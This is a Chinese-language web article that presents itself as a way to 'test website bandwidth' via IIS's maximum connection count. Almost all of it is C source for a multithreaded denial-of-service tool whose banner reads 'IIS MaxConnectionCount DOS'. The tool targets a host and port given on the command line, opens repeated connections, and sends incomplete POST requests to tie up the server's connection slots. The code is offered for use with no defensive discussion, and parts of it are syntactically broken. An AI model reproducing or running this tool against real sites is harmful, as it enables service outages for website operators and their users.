作品发布     邀请码    设为首页  收藏 

当前位置:文章编程 → 文章内容 >> 利用IIS最大连接数测试网站带宽


利用IIS最大连接数测试网站带宽

更新时间:2012-2-18 15:46:37   作者:华中帝国整理  来源:华中帝国
#include "winsock.h" #include "stdio.h" #include "string.h" #include "io.h" #pragma comment(lib,"ws2_32.lib") #define BUFLEN 1024 #define MAXThreadCount 10 //设置最大线程数 int Thread ...

#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //设置最大线程数
 
int ThreadCount=0; 
 
struct mydata
{
  char *ip;
  int  port;
};
 
 
unsigned int resolve(char *name)
{
    struct hostent *he;
    unsigned int ip;
 
    if((ip=inet_addr(name))==(-1))
    {
        if((he=gethostbyname(name))==0)
            return 0;
        memcpy(&ip,he->h_addr,4);
    }
    return ip;
}
 
 
DWORD WINAPI Dos(LPVOID lpParam ) 

  mydata *csdn = (mydata*)lpParam;
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_port = htons(csdn->port);
   server.sin_addr.s_addr = resolve((char*)csdn->ip);
      if(server.sin_addr.s_addr==0)
    {
        
         printf("Don’t find  address %s",(char*)csdn->ip);
        exit(0);
    }
  int my;
  char buf[100]="POST / HTTP/1.1Host: ";
  strcat(buf,(char*)csdn->ip);
  strcat(buf," Content-Length: 10");
    my=socket(PF_INET,SOCK_STREAM,0);
  if(my==INVALID_SOCKET)
    {
         printf("ERROR");
         exit(0);
    }
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
    {
         printf("Socket ERROR:%d",GetLastError());
        exit(0);
    }
  if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
  ThreadCount--;
    return 0; 

 
void thread ( char *a1 , char *a2 , char *a3 )
{
  static mydata tmp;
  tmp.ip = a1;
  tmp.port = atoi(a2);
 
  DWORD dwThreadId;
    HANDLE hThread; 
  WSADATA ws;
   if   (WSAStartup( MAKEWORD(2,2), &ws )!=0)
   {
                printf(" [-] WSAStartup() error");
                exit(0);
   }
    hThread = CreateThread( 
        NULL,                        // no security attributes 
        0,                           // use default stack size  
        Dos,                  // thread function 
        &tmp,                // argument to thread function 
        0,                           // use default creation flags 
        &dwThreadId);                // returns the thread identifier 
   if (hThread == NULL) 
     printf( "CreateThread failed." ); 
  ThreadCount++;
  Sleep(200);     //延时,否则CPU会用满……
   CloseHandle(hThread);
}
 
int main(int argc, char* argv[])
{
  int i=0;
  if(argc!=4)
  {
         printf("\tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005");
         printf("-Usage:");
         printf("%s ",argv[0]);
         printf("-Example: %s www.target.com 80 300",argv[0]);
         return 0;
  }
  printf("Starting DOS.............Ctrl + C break");
  while( i < atoi(argv[3]) )
  {
         if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}
  }
  while( 1 ){      }
  WSACleanup();
  return 0;
}

   免责声明:本文仅代表作者个人观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。

责任编辑:华中帝国        



本文引用网址: 

利用IIS最大连接数测试网站带宽的相关文章
发表评论

用户名: 查看更多评论

分 值:100分 85分 70分 55分 40分 25分 10分 0分

内 容:

         (注“”为必填内容。) 验证码: 验证码,看不清楚?请点击刷新验证码